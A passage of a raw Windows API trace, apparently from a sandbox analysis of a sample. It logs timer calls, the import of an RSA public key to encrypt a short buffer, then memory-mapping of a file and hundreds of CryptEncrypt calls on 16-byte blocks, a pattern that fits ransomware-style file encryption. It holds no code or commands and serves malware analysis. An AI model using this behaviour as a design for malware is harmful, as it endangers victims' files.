[0115.817] GetTickCount () returned 0x115cf52 [0115.817] GetTickCount () returned 0x115cf52 [0115.818] GetTickCount () returned 0x115cf52 [0115.818] GetTickCount () returned 0x115cf52 [0115.818] GetTickCount () returned 0x115cf52 [0115.818] GetTickCount () returned 0x115cf52 [0115.818] GetTickCount () returned 0x115cf52 [0115.818] GetTickCount () returned 0x115cf52 [0115.818] GetTickCount () returned 0x115cf52 [0115.818] GetTickCount () returned 0x115cf52 [0115.818] GetTickCount () returned 0x115cf52 [0115.818] GetTickCount () returned 0x115cf52 [0115.818] GetTickCount () returned 0x115cf52 [0115.818] GetTickCount () returned 0x115cf52 [0115.818] GetTickCount () returned 0x115cf52 [0115.818] GetTickCount () returned 0x115cf52 [0115.818] GetTickCount () returned 0x115cf52 [0115.818] GetTickCount () returned 0x115cf52 [0115.818] GetTickCount () returned 0x115cf52 [0115.818] GetTickCount () returned 0x115cf52 [0115.818] CryptAcquireContextW (in: phProv=0x3e0cd58, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0cd58*=0x1668a38) returned 1 [0115.819] CryptImportKey (in: hProv=0x1668a38, pbData=0x3e0ccc0, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd64 | out: phKey=0x3e0cd64*=0x1639b28) returned 1 [0115.819] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x80) returned 1 [0115.819] CryptDestroyKey (hKey=0x1639b28) returned 1 [0115.819] CryptReleaseContext (hProv=0x1668a38, dwFlags=0x0) returned 1 [0115.819] CreateFileMappingW (hFile=0x288, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x12fe00, lpName=0x0) returned 0x3c0 [0115.820] MapViewOfFile (hFileMappingObject=0x3c0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x12fe00) returned 0x4010000 [0115.843] CryptAcquireContextW (in: phProv=0x3e0cd48, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0cd48*=0x16681b8) returned 1 [0115.844] CryptImportKey (in: hProv=0x16681b8, pbData=0x3e0cd00, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd58 | out: phKey=0x3e0cd58*=0x1639528) returned 1 [0115.844] CryptSetKeyParam (hKey=0x1639528, dwParam=0x4, pbData=0x3e0cd3c*=0x2, dwFlags=0x0) returned 1 [0115.845] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10) returned 1 [0115.845] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.845] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.845] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.845] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.845] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.845] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.845] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.845] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.845] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.845] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.845] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.845] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.845] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.845] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.845] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.845] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.845] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.845] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.845] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.846] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.846] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.846] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.846] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.846] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.846] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.846] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.846] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.846] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.846] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.846] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.846] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.846] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.846] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.846] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.846] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.846] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.846] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.846] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.846] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.846] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.847] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.847] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.847] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.847] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.847] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.847] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.847] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.847] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.847] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.847] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.847] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.847] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.847] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.847] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.847] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.847] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.847] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.847] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.847] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.847] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.847] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.848] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.848] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.848] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.848] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.848] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.848] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.848] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.848] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.848] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.848] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.848] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.848] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.848] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.848] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.848] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.848] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.848] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.848] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.848] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.848] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.848] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.848] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.849] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.849] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.849] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.849] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.849] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.849] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.849] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.849] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.849] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.849] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.849] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0115.849] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, 